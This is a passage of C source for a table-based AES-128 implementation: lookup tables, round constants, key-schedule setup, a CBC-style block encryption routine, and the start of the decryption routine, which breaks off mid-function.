0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
};
static const unsigned int Td3[256] =
{
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
};
static const unsigned int Td4[256] =
{
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
};
static const unsigned int rcon[10] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000,
0x10000000, 0x20000000, 0x40000000, 0x80000000,
0x1B000000, 0x36000000
};
typedef struct {
unsigned int roundkey[44];
unsigned int iv[4];
} AES_CTX;
static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
ctx->roundkey[0] = GETU32(key + 0);
ctx->roundkey[1] = GETU32(key + 4);
ctx->roundkey[2] = GETU32(key + 8);
ctx->roundkey[3] = GETU32(key + 12);
ctx->iv[0] = GETU32(iv + 0);
ctx->iv[1] = GETU32(iv + 4);
ctx->iv[2] = GETU32(iv + 8);
ctx->iv[3] = GETU32(iv + 12);
for (unsigned char index = 4; index < 44; index += 4) {
ctx->roundkey[index] = ctx->roundkey[index - 4] ^
(Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^
(Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^
(Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^
(Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1];
ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index];
ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1];
ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2];
}
}
static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
AES_EncryptInit(ctx, key, iv);
unsigned int temp;
// Next, invert the order of the round keys.
for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) {
for (uint8_t k = 0; k < 4; k++) {
temp = ctx->roundkey[i + k];
ctx->roundkey[i + k] = ctx->roundkey[j + k];
ctx->roundkey[j + k] = temp;
}
}
// Finally, apply the inverse MixColumn transform to all round keys except the first and last.
for (unsigned char index = 4; index < 40; index += 4) {
ctx->roundkey[index] =
Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff];
ctx->roundkey[index + 1] =
Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff];
ctx->roundkey[index + 2] =
Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff];
ctx->roundkey[index + 3] =
Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^
Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^
Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^
Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff];
}
}
static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
// Initial round
s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0];
s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1];
s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2];
s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3];
// round 1
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7];
// round 2
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11];
// round 3
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15];
// round 4
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19];
// round 5
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23];
// round 6
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27];
// round 7
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31];
// round 8
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32];
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33];
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34];
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35];
// round 9
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36];
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[37];
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[38];
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[39];
// Final round
s0 = (Te4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
s1 = (Te4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
s2 = (Te4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
s3 = (Te4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
// Output the result
PUTU32(out_data + 0, s0);
PUTU32(out_data + 4, s1);
PUTU32(out_data + 8, s2);
PUTU32(out_data + 12, s3);
ctx->iv[0] = s0;
ctx->iv[1] = s1;
ctx->iv[2] = s2;
ctx->iv[3] = s3;
}
static void AES_Decrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
unsigned int temp[4];
s0 = GETU32(in_data + 0) ^ ctx->roundkey[0];
s1 = GETU32(in_data + 4) ^ ctx->roundkey[1];
s2 = GETU32(in_data + 8) ^ ctx->roundkey[2];
s3 = GETU32(in_data + 12) ^ ctx->roundkey[3];
temp[0] = GETU32(in_data + 0);
temp[1] = GETU32(in_data + 4);
temp[2] = GETU32(in_data + 8);
temp[3] = GETU32(in_data + 12);
// round 1
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[ 4];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[ 5];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[ 6];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[ 7];
// round 2
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[ 8];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[ 9];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[10];
